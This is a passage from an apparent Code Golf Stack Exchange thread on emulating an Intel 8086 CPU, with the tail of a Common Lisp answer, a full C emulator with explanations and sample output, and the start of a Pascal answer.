r/m-bits is-word) `(inc (indirect-address ,mod-bits ,r/m-bits ,is-word) ,is-word)) (defmacro dec-indirect (mod-bits r/m-bits is-word) `(dec (indirect-address ,mod-bits ,r/m-bits ,is-word) ,is-word)) (defmacro parse-group4/5-opcode (opcode) `(parse-group-opcode (0 (parse-group-byte-pair ,opcode inc-indirect mod-bits r/m-bits)) (1 (parse-group-byte-pair ,opcode dec-indirect mod-bits r/m-bits)))) ;;; Opcode parsing (defun in-paired-byte-block-p (opcode block) (= (truncate (/ opcode 2)) (/ block 2))) (defun in-4-byte-block-p (opcode block) (= (truncate (/ opcode 4)) (/ block 4))) (defun in-8-byte-block-p (opcode block) (= (truncate (/ opcode 8)) (/ block 8))) (defun in-6-byte-block-p (opcode block) (and (= (truncate (/ opcode 8)) (/ block 8)) (< (mod opcode 8) 6))) (defun parse-opcode (opcode) "Parse an opcode." (cond ((not opcode) (return-from parse-opcode nil)) ((= opcode #xf4) (return-from parse-opcode '("hlt"))) ((in-8-byte-block-p opcode #x40) (with-one-byte-opcode-register opcode #'inc-register)) ((in-8-byte-block-p opcode #x48) (with-one-byte-opcode-register opcode #'dec-register)) ((in-8-byte-block-p opcode #x50) (with-one-byte-opcode-register opcode #'push-register)) ((in-8-byte-block-p opcode #x58) (with-one-byte-opcode-register opcode #'pop-to-register)) ((in-8-byte-block-p opcode #x90) (with-one-byte-opcode-register opcode #'xchg-register)) ((in-8-byte-block-p opcode #xb0) (mov-byte-to-register opcode)) ((in-8-byte-block-p opcode #xb8) (with-one-byte-opcode-register opcode #'mov-word-to-register)) ((= opcode #xf8) (clear-carry-flag)) ((= opcode #xf9) (set-carry-flag)) ((= opcode #xeb) (jmp-short)) ((in-paired-byte-block-p opcode #x72) (jmp-short-conditionally opcode (flag-p :cf) "b")) ((in-paired-byte-block-p opcode #x74) (jmp-short-conditionally opcode (flag-p :zf) "z")) ((in-paired-byte-block-p opcode #x76) (jmp-short-conditionally opcode (or (flag-p :cf) (flag-p :zf)) "be")) ((in-paired-byte-block-p opcode #x78) (jmp-short-conditionally opcode (flag-p :sf) "s")) ((= opcode #xe8) (call-near)) ((= opcode #xc3) (ret-from-call)) ((in-6-byte-block-p opcode #x00) (parse-alu-opcode opcode add-without-carry)) ((in-6-byte-block-p opcode #x08) (parse-alu-opcode opcode or-operation)) ((in-6-byte-block-p opcode #x10) (parse-alu-opcode opcode add-with-carry)) ((in-6-byte-block-p opcode #x18) (parse-alu-opcode opcode sub-with-borrow)) ((in-6-byte-block-p opcode #x20) (parse-alu-opcode opcode and-operation)) ((in-6-byte-block-p opcode #x28) (parse-alu-opcode opcode sub-without-borrow)) ((in-6-byte-block-p opcode #x30) (parse-alu-opcode opcode xor-operation)) ((in-6-byte-block-p opcode #x38) (parse-alu-opcode opcode cmp-operation)) ((in-4-byte-block-p opcode #x80) (parse-group1-opcode opcode)) ((in-4-byte-block-p opcode #x88) (parse-mov-opcode opcode)) ((in-paired-byte-block-p opcode #x86) (xchg-memory-register opcode)) ((in-paired-byte-block-p opcode #xc6) (parse-group11-opcode opcode)) ((in-paired-byte-block-p opcode #xfe) (parse-group4/5-opcode opcode)))) ;;; Main functions (defun execute-instructions () "Loop through loaded instructions." (loop for ret = (parse-opcode (next-instruction)) until (equal ret '("hlt")) do (advance-ip) finally (return t))) (defun disasm-instructions (instr-length) "Disassemble code." (loop for ret = (parse-opcode (next-instruction)) collecting ret into disasm until (= *ip* instr-length) do (advance-ip) finally (return disasm))) (defun loop-instructions (instr-length) (if *disasm* (disasm-instructions instr-length) (execute-instructions))) (defun load-instructions-from-file (file) (with-open-file (in file :element-type '(unsigned-byte 8)) (let ((instrs (make-array (file-length in) :element-type '(unsigned-byte 8) :initial-element 0 :adjustable t))) (read-sequence instrs in) instrs))) (defun load-instructions (&key (file nil)) (if file (load-instructions-from-file file) #())) (defun print-video-ram (&key (width 80) (height 25) (stream t) (newline nil)) (dotimes (line height) (dotimes (column width) (let ((char-at-cell (byte-in-ram (+ #x8000 (* line 80) column) *ram*))) (if (zerop char-at-cell) (format stream "~a" #\Space) (format stream "~a" (code-char char-at-cell))))) (if newline (format stream "~%")))) (defun disasm (&key (file nil)) (setf *disasm* t) (loop-instructions (load-instructions-into-ram (load-instructions :file file)))) (defun main (&key (file nil) (display nil) (stream t) (newline nil)) (setf *disasm* nil) (loop-instructions (load-instructions-into-ram (load-instructions :file file))) (when display (print-video-ram :stream stream :newline newline))) ``` Here's the output in Emacs: [![Emacs window with two panes, a section of the Lisp source on the left and the REPL output with the required content on the right.](https://i.stack.imgur.com/pbZYM.png)](https://i.stack.imgur.com/pbZYM.png) I want to highlight three main features. This code makes heavy use of macros when implementing instructions, such as `mov`, `xchg`, and the artithmetic operations. Each instruction includes a `disasm-instr` macro call. This implements the disassembly alongside the actual code using an if over a global variable set at runtime. I am particularly proud of the destination-agnostic approach used for writing values to registers and indirect addresses. The macros implementing the instructions don't care about the destination, since the forms spliced in for either possibility will work with the generic `setf` Common Lisp macro. The code can be found at [my GitHub repo](https://github.com/happy5214/cl8086). Look for the "codegolf" branch, as I've already started implementing other features of the 8086 in master. I have already implemented the overflow and parity flags, along with the FLAGS register. There are three operations in this not in the 8086, the `0x82` and `0x83` versions of the logical operators. This was caught very late, and it would be quite messy to remove those operations. I would like to thank @j-a for his Python version, which inspired me early on in this venture. [Answer] ## C - ~~319~~ 348 lines This is a more or less direct translation of my Postscript program to C. Of course the stack usage is replaced with explicit variables. An instruction's fields are broken up into the variables `o` - instruction opcode byte, `d` - direction field, `w` - width field. If it's a "mod-reg-r/m" instruction, the *m-r-rm* byte is read into `struct rm r`. Decoding the reg and r/m fields proceeds in two steps: calculating the pointer to the data and loading the data, reusing the same variable. So for something like `ADD AX,BX`, first x is a pointer to ax and y is a pointer to bx, then x is the contents (ax) and y is the contents (bx). There's lots of casting required to reuse the variable for different types like this. The opcode byte is decoded with a table of function pointers. Each function body is composed using macros for re-usable pieces. The `DW` macro is present in all opcode functions and decodes the `d` and `w` variables from the `o` opcode byte. The `RMP` macro performs the first stage of decoding the "m-r-rm" byte, and `LDXY` performs the second stage. Opcodes which store a result use the `p` variable to hold the pointer to the result location and the `z` variable to hold the result value. Flags are calculated after the `z` value has been computed. The `INC` and `DEC` operations save the carry flag before using the generic `MATHFLAGS` function (as part of the `ADD` or `SUB` submacro) and restore it afterwords, to preserve the Carry. *Edit: bugs fixed!* *Edit: expanded and commented.* When `trace==0` it now outputs an ANSI move-to-0,0 command when dumping the video. So it better simulates an actual display. The `BIGENDIAN` thing (that didn't even work) has been removed. It relies in some places on little-endian byte order, but I plan to fix this in the next revision. Basically, all pointer access needs to go through the `get_` and `put_` functions which explicitly (de)compose the bytes in LE order. ``` #include<ctype.h> #include<stdint.h> #include<stdio.h> #include<stdlib.h> #include<string.h> #include<sys/stat.h> #include<unistd.h> #define P printf #define R return #define T typedef T intptr_t I; T uintptr_t U; T short S; T unsigned short US; T signed char C; T unsigned char UC; T void V; // to make everything shorter U o,w,d,f; // opcode, width, direction, extra temp variable (was initially for a flag, hence 'f') U x,y,z; // left operand, right operand, result void *p; // location to receive result UC halt,debug=0,trace=0,reg[28],null[2],mem[0xffff]={ // operating flags, register memory, RAM 1, (3<<6), // ADD ax,ax 1, (3<<6)+(4<<3), // ADD ax,sp 3, (3<<6)+(4<<3), // ADD sp,ax 0xf4 //HLT }; // register declaration and initialization #define H(_)_(al)_(ah)_(cl)_(ch)_(dl)_(dh)_(bl)_(bh) #define X(_)_(ax) _(cx) _(dx) _(bx) _(sp)_(bp)_(si)_(di)_(ip)_(fl) #define SS(_)_(cs)_(ds)_(ss)_(es) #define HD(_)UC*_; // half-word regs declared as unsigned char * #define XD(_)US*_; // full-word regs declared as unsigned short * #define HR(_)_=(UC*)(reg+i++); // init and increment by one #define XR(_)_=(US*)(reg+i);i+=2; // init and increment by two H(HD)X(XD)SS(XD)V init(){I i=0;H(HR)i=0;X(XR)SS(XR)} // declare and initialize register pointers enum { CF=1<<0, PF=1<<2, AF=1<<4, ZF=1<<6, SF=1<<7, OF=1<<11 }; #define HP(_)P(#_ ":%02x ",*_); // dump a half-word reg as zero-padded hex #define XP(_)P(#_ ":%04x ",*_); // dump a full-word reg as zero-padded hex V dump(){ //H(HP)P("\n"); P("\n"); X(XP) if(trace)P("%s %s %s %s ",*fl&CF?"CA":"NC",*fl&OF?"OV":"NO",*fl&SF?"SN":"NS",*fl&ZF?"ZR":"NZ"); P("\n"); // ^^^ crack flag bits into strings ^^^ } // get and put into memory in a strictly little-endian format I get_(void*p,U w){R w? *(UC*)p + (((UC*)p)[1]<<8) :*(UC*)p;} V put_(void*p,U x,U w){ if(w){ *(UC*)p=x; ((UC*)p)[1]=x>>8; }else *(UC*)p=x; } // get byte or word through ip, incrementing ip UC fetchb(){ U x = get_(mem+(*ip)++,0); if(trace)P("%02x(%03o) ",x,x); R x; } US fetchw(){I w=fetchb();R w|(fetchb()<<8);} T struct rm{U mod,reg,r_m;}rm; // the three fields of the mod-reg-r/m byte rm mrm(U m){ R(rm){ (m>>6)&3, (m>>3)&7, m&7 }; } // crack the mrm byte into fields U decreg(U reg,U w){ // decode the reg field, yielding a uintptr_t to the register (byte or word) if (w)R (U)((US*[]){ax,cx,dx,bx,sp,bp,si,di}[reg]); else R (U)((UC*[]){al,cl,dl,bl,ah,ch,dh,bh}[reg]); } U rs(US*x,US*y){ R get_(x,1)+get_(y,1); } // fetch and sum two full-words U decrm(rm r,U w){ // decode the r/m byte, yielding uintptr_t U x=(U[]){rs(bx,si),rs(bx,di),rs(bp,si),rs(bp,di),get_(si,1),get_(di,1),get_(bp,1),get_(bx,1)}[r.r_m]; switch(r.mod){ case 0: if (r.r_m==6) R (U)(mem+fetchw()); break; case 1: x+=fetchb(); break; case 2: x+=fetchw(); break; case 3: R decreg(r.r_m,w); } R (U)(mem+x); } // opcode helpers // set d and w from o #define DW if(trace){ P("%s:\n",__func__); } \ d=!!(o&2); \ w=o&1; // fetch mrm byte and decode, setting x and y as pointers to args and p ptr to dest #define RMP rm r=mrm(fetchb());\ x=decreg(r.reg,w); \ y=decrm(r,w); \ if(trace>1){ P("x:%d\n",x); P("y:%d\n",y); } \ p=d?(void*)x:(void*)y; // fetch x and y values from x and y pointers #define LDXY \ x=get_((void*)x,w); \ y=get_((void*)y,w); \ if(trace){ P("x:%d\n",x); P("y:%d\n",y); } // normal mrm decode and load #define RM RMP LDXY // immediate to accumulator #define IA x=(U)(p=w?(UC*)ax:al); \ x=get_((void*)x,w); \ y=w?fetchw():fetchb(); // flags set by logical operators #define LOGFLAGS *fl=0; \ *fl |= ( (z&(w?0x8000:0x80)) ?SF:0) \ | ( (z&(w?0xffff:0xff))==0 ?ZF:0) ; // additional flags set by math operators #define MATHFLAGS *fl |= ( (z&(w?0xffff0000:0xff00)) ?CF:0) \ | ( ((z^x)&(z^y)&(w?0x8000:0x80)) ?OF:0) \ | ( ((x^y^z)&0x10) ?AF:0) ; // store result to p ptr #define RESULT \ if(trace)P(w?"->%04x ":"->%02x ",z); \ put_(p,z,w); // operators, composed with helpers in the opcode table below // most of these macros will "enter" with x and y already loaded with operands #define PUSH(x) put_(mem+(*sp-=2),*(x),1) #define POP(x) *(x)=get_(mem+(*sp+=2)-2,1) #define ADD z=x+y; LOGFLAGS MATHFLAGS RESULT #define ADC x+=(*fl&CF); ADD #define SUB z=d?x-y:y-x; LOGFLAGS MATHFLAGS RESULT #define SBB d?y+=*fl&CF:(x+=*fl&CF); SUB #define CMP p=null; SUB #define AND z=x&y; LOGFLAGS RESULT #define OR z=x|y; LOGFLAGS RESULT #define XOR z=x^y; LOGFLAGS RESULT #define INC(r) w=1; d=1; p=(V*)r; x=(S)*r; y=1; f=*fl&CF; ADD *fl=(*fl&~CF)|f; #define DEC(r) w=1; d=1; p=(V*)r; x=(S)*r; y=1; f=*fl&CF; SUB *fl=(*fl&~CF)|f; #define F(f) !!(*fl&f) #define J(c) U cf=F(CF),of=F(OF),sf=F(SF),zf=F(ZF); y=(S)(C)fetchb(); \ if(trace)P("<%d> ", c); \ if(c)*ip+=(S)y; #define JN(c) J(!(c)) #define IMM(a,b) rm r=mrm(fetchb()); \ p=(void*)(y=decrm(r,w)); \ a \ x=w?fetchw():fetchb(); \ b \ d=0; \ y=get_((void*)y,w); \ if(trace){ P("x:%d\n",x); P("y:%d\n",y); } \ if(trace){ P("%s ", (C*[]){"ADD","OR","ADC","SBB","AND","SUB","XOR","CMP"}[r.reg]); } \ switch(r.reg){case 0:ADD break; \ case 1:OR break; \ case 2:ADC break; \ case 3:SBB break; \ case 4:AND break; \ case 5:SUB break; \ case 6:XOR break; \ case 7:CMP break; } #define IMMIS IMM(w=0;,w=1;x=(S)(C)x;) #define TEST z=x&y; LOGFLAGS MATHFLAGS #define XCHG f=x;z=y; LDXY if(w){*(US*)f=y;*(US*)z=x;}else{*(UC*)f=y;*(UC*)z=x;} #define MOV z=d?y:x; RESULT #define MOVSEG #define LEA RMP z=((UC*)y)-mem; RESULT #define NOP #define AXCH(r) x=(U)ax; y=(U)(r); w=1; XCHG #define CBW *ax=(S)(C)*al; #define CWD z=(I)(S)*ax; *dx=z>>16; #define CALL x=w?fetchw():(S)(C)fetchb(); PUSH(ip); (*ip)+=(S)x; #define WAIT #define PUSHF PUSH(fl) #define POPF POP(fl) #define SAHF x=*fl; y=*ah; x=(x&~0xff)|y; *fl=x; #define LAHF *ah=(UC)*fl; #define mMOV if(d){ x=get_(mem+fetchw(),w); if(w)*ax=x; else*al=x; } \ else { put_(mem+fetchw(),w?*ax:*al,w); } #define MOVS #define CMPS #define STOS #define LODS #define SCAS #define iMOVb(r) (*r)=fetchb(); #define iMOVw(r) (*r)=fetchw(); #define RET(v) POP(ip); if(v)*sp+=v*2; #define LES #define LDS #define iMOVm if(w){iMOVw((US*)y)}else{iMOVb((UC*)y)} #define fRET(v) POP(cs); RET(v) #define INT(v) #define INT0 #define IRET #define Shift rm r=mrm(fetchb()); #define AAM #define AAD #define XLAT #define ESC(v) #define LOOPNZ #define LOOPZ #define LOOP #define JCXZ #define IN #define OUT #define INv #define OUTv #define JMP x=fetchw(); *ip+=(S)x; #define sJMP x=(S)(C)fetchb(); *ip+=(S)x; #define FARJMP #define LOCK #define REP #define REPZ #define HLT halt=1 #define CMC *fl=(*fl&~CF)|((*fl&CF)^1); #define NOT #define NEG #define MUL #define IMUL #define DIV #define IDIV #define Grp1 rm r=mrm(fetchb()); \ y=decrm(r,w); \ if(trace)P("%s ", (C*[]){}[r.reg]); \ switch(r.reg){case 0: TEST; break; \ case 2: NOT; break; \ case 3: NEG; break; \ case 4: MUL; break; \ case 5: IMUL; break; \ case 6: DIV; break; \ case 7: IDIV; break; } #define Grp2 rm r=mrm(fetchb()); \ y=decrm(r,w); \ if(trace)P("%s ", (C*[]){"INC","DEC","CALL","CALL","JMP","JMP","PUSH"}[r.reg]); \ switch(r.reg){case 0: INC((S*)y); break; \ case 1: DEC((S*)y); break; \ case 2: CALL; break; \ case 3: CALL; break; \ case 4: *ip+=(S)y; break; \ case 5: JMP; break; \ case 6: PUSH((S*)y); break; } #define CLC *fl=*fl&~CF; #define STC *fl=*fl|CF; #define CLI #define STI #define CLD #define STD // opcode table // An x-macro table of pairs (a, b) where a becomes the name of a void function(void) which // implements the opcode, and b comprises the body of the function (via further macro expansion) #define OP(_)\ /*dw:bf wf bt wt */ \ _(addbf, RM ADD) _(addwf, RM ADD) _(addbt, RM ADD) _(addwt, RM ADD) /*00-03*/\ _(addbi, IA ADD) _(addwi, IA ADD) _(pushes, PUSH(es)) _(popes, POP(es)) /*04-07*/\ _(orbf, RM OR) _(orwf, RM OR) _(orbt, RM OR) _(orwt, RM OR) /*08-0b*/\ _(orbi, IA OR) _(orwi, IA OR) _(pushcs, PUSH(cs)) _(nop0, ) /*0c-0f*/\ _(adcbf, RM ADC) _(adcwf, RM ADC) _(adcbt, RM ADC) _(adcwt, RM ADC) /*10-13*/\ _(adcbi, IA ADC) _(adcwi, IA ADC) _(pushss, PUSH(ss)) _(popss, POP(ss)) /*14-17*/\ _(sbbbf, RM SBB) _(sbbwf, RM SBB) _(sbbbt, RM SBB) _(sbbwt, RM SBB) /*18-1b*/\ _(sbbbi, IA SBB) _(sbbwi, IA SBB) _(pushds, PUSH(ds)) _(popds, POP(ds)) /*1c-1f*/\ _(andbf, RM AND) _(andwf, RM AND) _(andbt, RM AND) _(andwt, RM AND) /*20-23*/\ _(andbi, IA AND) _(andwi, IA AND) _(esseg, ) _(daa, ) /*24-27*/\ _(subbf, RM SUB) _(subwf, RM SUB) _(subbt, RM SUB) _(subwt, RM SUB) /*28-2b*/\ _(subbi, IA SUB) _(subwi, IA SUB) _(csseg, ) _(das, ) /*2c-2f*/\ _(xorbf, RM XOR) _(xorwf, RM XOR) _(xorbt, RM XOR) _(xorwt, RM XOR) /*30-33*/\ _(xorbi, IA XOR) _(xorwi, IA XOR) _(ssseg, ) _(aaa, ) /*34-37*/\ _(cmpbf, RM CMP) _(cmpwf, RM CMP) _(cmpbt, RM CMP) _(cmpwt, RM CMP) /*38-3b*/\ _(cmpbi, IA CMP) _(cmpwi, IA CMP) _(dsseg, ) _(aas, ) /*3c-3f*/\ _(incax, INC(ax)) _(inccx, INC(cx)) _(incdx, INC(dx)) _(incbx, INC(bx)) /*40-43*/\ _(incsp, INC(sp)) _(incbp, INC(bp)) _(incsi, INC(si)) _(incdi, INC(di)) /*44-47*/\ _(decax, DEC(ax)) _(deccx, DEC(cx)) _(decdx, DEC(dx)) _(decbx, DEC(bx)) /*48-4b*/\ _(decsp, DEC(sp)) _(decbp, DEC(bp)) _(decsi, DEC(si)) _(decdi, DEC(di)) /*4c-4f*/\ _(pushax, PUSH(ax)) _(pushcx, PUSH(cx)) _(pushdx, PUSH(dx)) _(pushbx, PUSH(bx)) /*50-53*/\ _(pushsp, PUSH(sp)) _(pushbp, PUSH(bp)) _(pushsi, PUSH(si)) _(pushdi, PUSH(di)) /*54-57*/\ _(popax, POP(ax)) _(popcx, POP(cx)) _(popdx, POP(dx)) _(popbx, POP(bx)) /*58-5b*/\ _(popsp, POP(sp)) _(popbp, POP(bp)) _(popsi, POP(si)) _(popdi, POP(di)) /*5c-5f*/\ _(nop1, ) _(nop2, ) _(nop3, ) _(nop4, ) _(nop5, ) _(nop6, ) _(nop7, ) _(nop8, ) /*60-67*/\ _(nop9, ) _(nopA, ) _(nopB, ) _(nopC, ) _(nopD, ) _(nopE, ) _(nopF, ) _(nopG, ) /*68-6f*/\ _(jo, J(of)) _(jno, JN(of)) _(jb, J(cf)) _(jnb, JN(cf)) /*70-73*/\ _(jz, J(zf)) _(jnz, JN(zf)) _(jbe, J(cf|zf)) _(jnbe, JN(cf|zf)) /*74-77*/\ _(js, J(sf)) _(jns, JN(sf)) _(jp, ) _(jnp, ) /*78-7b*/\ _(jl, J(sf^of)) _(jnl_, JN(sf^of)) _(jle, J((sf^of)|zf)) _(jnle,JN((sf^of)|zf))/*7c-7f*/\ _(immb, IMM(,)) _(immw, IMM(,)) _(immb1, IMM(,)) _(immis, IMMIS) /*80-83*/\ _(testb, RM TEST) _(testw, RM TEST) _(xchgb, RMP XCHG) _(xchgw, RMP XCHG) /*84-87*/\ _(movbf, RM MOV) _(movwf, RM MOV) _(movbt, RM MOV) _(movwt, RM MOV) /*88-8b*/\ _(movsegf, RM MOVSEG) _(lea, LEA) _(movsegt, RM MOVSEG) _(poprm,RM POP((US*)p))/*8c-8f*/\ _(nopH, ) _(xchgac, AXCH(cx)) _(xchgad, AXCH(dx)) _(xchgab, AXCH(bx)) /*90-93*/\ _(xchgasp, AXCH(sp)) _(xchabp, AXCH(bp)) _(xchgasi, AXCH(si)) _(xchadi, AXCH(di)) /*94-97*/\ _(cbw, CBW) _(cwd, CWD) _(farcall, ) _(wait, WAIT) /*98-9b*/\ _(pushf, PUSHF) _(popf, POPF) _(sahf, SAHF) _(lahf, LAHF) /*9c-9f*/\ _(movalb, mMOV) _(movaxw, mMOV) _(movbal, mMOV) _(movwax, mMOV) /*a0-a3*/\ _(movsb, MOVS) _(movsw, MOVS) _(cmpsb, CMPS) _(cmpsw, CMPS) /*a4-a7*/\ _(testaib, IA TEST) _(testaiw, IA TEST) _(stosb, STOS) _(stosw, STOS) /*a8-ab*/\ _(lodsb, LODS) _(lodsw, LODS) _(scasb, SCAS) _(scasw, SCAS) /*ac-af*/\ _(movali, iMOVb(al)) _(movcli, iMOVb(cl)) _(movdli, iMOVb(dl)) _(movbli, iMOVb(bl)) /*b0-b3*/\ _(movahi, iMOVb(ah)) _(movchi, iMOVb(ch)) _(movdhi, iMOVb(dh)) _(movbhi, iMOVb(bh)) /*b4-b7*/\ _(movaxi, iMOVw(ax)) _(movcxi, iMOVw(cx)) _(movdxi, iMOVw(dx)) _(movbxi, iMOVw(bx)) /*b8-bb*/\ _(movspi, iMOVw(sp)) _(movbpi, iMOVw(bp)) _(movsii, iMOVw(si)) _(movdii, iMOVw(di)) /*bc-bf*/\ _(nopI, ) _(nopJ, ) _(reti, RET(fetchw())) _(retz, RET(0)) /*c0-c3*/\ _(les, LES) _(lds, LDS) _(movimb, RMP iMOVm) _(movimw, RMP iMOVm) /*c4-c7*/\ _(nopK, ) _(nopL, ) _(freti, fRET(fetchw())) _(fretz, fRET(0)) /*c8-cb*/\ _(int3, INT(3)) _(inti, INT(fetchb())) _(int0, INT(0)) _(iret, IRET) /*cc-cf*/\ _(shiftb, Shift) _(shiftw, Shift) _(shiftbv, Shift) _(shiftwv, Shift) /*d0-d3*/\ _(aam, AAM) _(aad, AAD) _(nopM, ) _(xlat, XLAT) /*d4-d7*/\ _(esc0, ESC(0)) _(esc1, ESC(1)) _(esc2, ESC(2)) _(esc3, ESC(3)) /*d8-db*/\ _(esc4, ESC(4)) _(esc5, ESC(5)) _(esc6, ESC(6)) _(esc7, ESC(7)) /*dc-df*/\ _(loopnz, LOOPNZ) _(loopz, LOOPZ) _(loop, LOOP) _(jcxz, JCXZ) /*e0-e3*/\ _(inb, IN) _(inw, IN) _(outb, OUT) _(outw, OUT) /*e4-e7*/\ _(call, w=1; CALL) _(jmp, JMP) _(farjmp, FARJMP) _(sjmp, sJMP) /*e8-eb*/\ _(invb, INv) _(invw, INv) _(outvb, OUTv) _(outvw, OUTv) /*ec-ef*/\ _(lock, LOCK) _(nopN, ) _(rep, REP) _(repz, REPZ) /*f0-f3*/\ _(hlt, HLT) _(cmc, CMC) _(grp1b, Grp1) _(grp1w, Grp1) /*f4-f7*/\ _(clc, CLC) _(stc, STC) _(cli, CLI) _(sti, STI) /*f8-fb*/\ _(cld, CLD) _(std, STD) _(grp2b, Grp2) _(grp2w, Grp2) /*fc-ff*/ #define OPF(a,b)void a(){DW b;} // generate opcode function #define OPN(a,b)a, // extract name OP(OPF)void(*tab[])()={OP(OPN)}; // generate functions, declare and populate fp table with names V clean(C*s){I i; // replace unprintable characters in 80-byte buffer with spaces for(i=0;i<80;i++) if(!isprint(s[i])) s[i]=' '; } V video(){I i; // dump the (cleaned) video memory to the console C buf[81]=""; if(!trace)P("\e[0;0;f"); for(i=0;i<28;i++) memcpy(buf, mem+0x8000+i*80, 80), clean(buf), P("\n%s",buf); P("\n"); } static I ct; // timer memory for period video dump V run(){while(!halt){if(trace)dump(); if(!ct--){ct=10; video();} tab[o=fetchb()]();}} V dbg(){ while(!halt){ C c; if(!ct--){ct=10; video();} if(trace)dump(); //scanf("%c", &c); fgetc(stdin); //switch(c){ //case '\n': //case 's': tab[o=fetchb()](); //break; //} } } I load(C*f){struct stat s; FILE*fp; // load a file into memory at address zero R (fp=fopen(f,"rb")) && fstat(fileno(fp),&s) || fread(mem,s.st_size,1,fp); } I main(I c,C**v){ init(); if(c>1){ // if there's an argument load(v[1]); // load named file } *sp=0x100; // initialize stack pointer if(debug) dbg(); // if debugging, debug else run(); // otherwise, just run video(); // dump final video R 0;} // remember what R means? cf. line 9 ``` Using macros for the *stages* of the various operations makes for a very close semantic match to the way the postscript code operates in a purely sequential fashion. For example, the first four opcodes, 0x00-0x03 are all ADD instructions with varying direction (REG -> REG/MOD, REG <- REG/MOD) and byte/word sizes, so they are represented exactly the same in the function table. ``` _(addbf, RM ADD) _(addwf, RM ADD) _(addbt, RM ADD) _(addwt, RM ADD) ``` The function table is instantiated with this macro: ``` OP(OPF) ``` which applies `OPF()` to each opcode representation. `OPF()` is defined as: ``` #define OPF(a,b)void a(){DW b;} // generate opcode function ``` So, the first four opcodes expand (once) to: ``` void addbf(){ DW RM ADD ; } void addwf(){ DW RM ADD ; } void addbt(){ DW RM ADD ; } void addwt(){ DW RM ADD ; } ``` These functions distinguish themselves by the result of the `DW` macro which determines direction and byte/word bits straight from the opcode byte. Expanding the body of one of these functions (once) produces: ``` if(trace){ P("%s:\n",__func__); } // DW: set d and w from o d=!!(o&2); w=o&1; RMP LDXY // RM: normal mrm decode and load z=x+y; LOGFLAGS MATHFLAGS RESULT // ADD ; ``` Where the main loop has already set the `o` variable: ``` while(!halt){tab[o=fetchb()]();}} ``` Expanding one more time gives all the "meat" of the opcode: ``` // DW: set d and w from o if(trace){ P("%s:\n",__func__); } d=!!(o&2); w=o&1; // RMP: fetch mrm byte and decode, setting x and y as pointers to args and p ptr to dest rm r=mrm(fetchb()); x=decreg(r.reg,w); y=decrm(r,w); if(trace>1){ P("x:%d\n",x); P("y:%d\n",y); } p=d?(void*)x:(void*)y; // LDXY: fetch x and y values from x and y pointers x=get_((void*)x,w); y=get_((void*)y,w); if(trace){ P("x:%d\n",x); P("y:%d\n",y); } z=x+y; // ADD // LOGFLAGS: flags set by logical operators *fl=0; *fl |= ( (z&(w?0x8000:0x80)) ?SF:0) | ( (z&(w?0xffff:0xff))==0 ?ZF:0) ; // MATHFLAGS: additional flags set by math operators *fl |= ( (z&(w?0xffff0000:0xff00)) ?CF:0) | ( ((z^x)&(z^y)&(w?0x8000:0x80)) ?OF:0) | ( ((x^y^z)&0x10) ?AF:0) ; // RESULT: store result to p ptr if(trace)P(w?"->%04x ":"->%02x ",z); put_(p,z,w); ; ``` And the fully-preprocessed function, passed through `indent`: ``` void addbf () { if (trace) { printf ("%s:\n", __func__); } d = ! !(o & 2); w = o & 1; rm r = mrm (fetchb ()); x = decreg (r.reg, w); y = decrm (r, w); if (trace > 1) { printf ("x:%d\n", x); printf ("y:%d\n", y); } p = d ? (void *) x : (void *) y; x = get_ ((void *) x, w); y = get_ ((void *) y, w); if (trace) { printf ("x:%d\n", x); printf ("y:%d\n", y); } z = x + y; *fl = 0; *fl |= ((z & (w ? 0x8000 : 0x80)) ? SF : 0) | ((z & (w ? 0xffff : 0xff)) == 0 ? ZF : 0); *fl |= ((z & (w ? 0xffff0000 : 0xff00)) ? CF : 0) | (((z ^ x) & (z ^ y) & (w ? 0x8000 : 0x80)) ? OF : 0) | (((x ^ y ^ z) & 0x10) ? AF : 0); if (trace) printf (w ? "->%04x " : "->%02x ", z); put_ (p, z, w);; } ``` Not the greatest C style for everyday use, but using macros this way seems pretty perfect for making the implementation here very short and very direct. Test program output, with tail of the trace output: ``` 43(103) incbx: ->0065 ax:0020 cx:0015 dx:0190 bx:0065 sp:1000 bp:0000 si:0000 di:00c2 ip:013e fl:0000 NC NO NS NZ 83(203) immis: fb(373) 64(144) x:100 y:101 CMP ->0001 ax:0020 cx:0015 dx:0190 bx:0065 sp:1000 bp:0000 si:0000 di:00c2 ip:0141 fl:0000 NC NO NS NZ 76(166) jbe: da(332) <0> ax:0020 cx:0015 dx:0190 bx:0065 sp:1000 bp:0000 si:0000 di:00c2 ip:0143 fl:0000 NC NO NS NZ f4(364) hlt: ......... Hello, world! 0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~ ################################################################################ ## ## ## 0 1 1 2 3 5 8 13 21 34 55 89 144 233 377 610 987 ## ## ## ## 0 1 4 9 16 25 36 49 64 81 100 121 144 169 196 225 256 289 324 361 400 ## ## ## ## 2 3 5 7 11 13 17 19 23 29 31 37 41 43 47 53 59 61 67 71 73 79 83 89 97 ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ################################################################################ ``` I shared some earlier versions in [comp.lang.c](https://groups.google.com/d/topic/comp.lang.c/W5chgTRhV0o/discussion) but they weren't very interested. [Answer] ## Pascal - 667 lines including whitelines, comments and debug routines. A late submission... But since there was no entry in pascal yet... It is not finished yet but it works. Could be a lot shorter by eliminating white lines, comments and debug routines. But on the other hand... code should be readable (and that's the reason I am a Pascal user) [![terminal view](https://i.stack.imgur.com/T7Dny.png)](https://i.stack.imgur.com/T7Dny.png) ``` (****************************************************************************** * emulator for 8086/8088 subset as requested in * * https://codegolf.stackexchange.com/questions/4732/emulate-an-intel-8086-cpu * * (c)2019 by ir. Marc Dendooven * * V0.2 DEV * ******************************************************************************) program ed8086; uses sysutils; const showSub = 0; // change level to show debug info type nibble = 0..15; oct = 0..7; quad = 0..3; address = 0..$FFFF; // should be extended when using segmentation const memSize = $9000; AX=0; CX=1; DX=2; BX=3; SP=4; BP=5; SI=6; DI=7; type location = record memory: boolean; // memory or register aORi: address; // address or index to register content: word end; var mem: array[0..memSize-1] of byte; IP,segEnd: word; IR: byte; mode: quad; sreg: oct; rm: oct; RX: array[AX..DI] of word; //AX,CX,DX,BX,SP,BP,SI,DI FC,FZ,FS: 0..1; cnt: cardinal = 0; d: 0..1; oper1,oper2: location; w: boolean; // is true when word / memory calldept: cardinal = 0; T: Dword; // ---------------- general help methods ---------------- procedure display; var x,y: smallint; c: byte; begin writeln; for y := 0 to 24 do begin for x := 0 to 79 do begin c := mem[$8000+y*80+x]; if 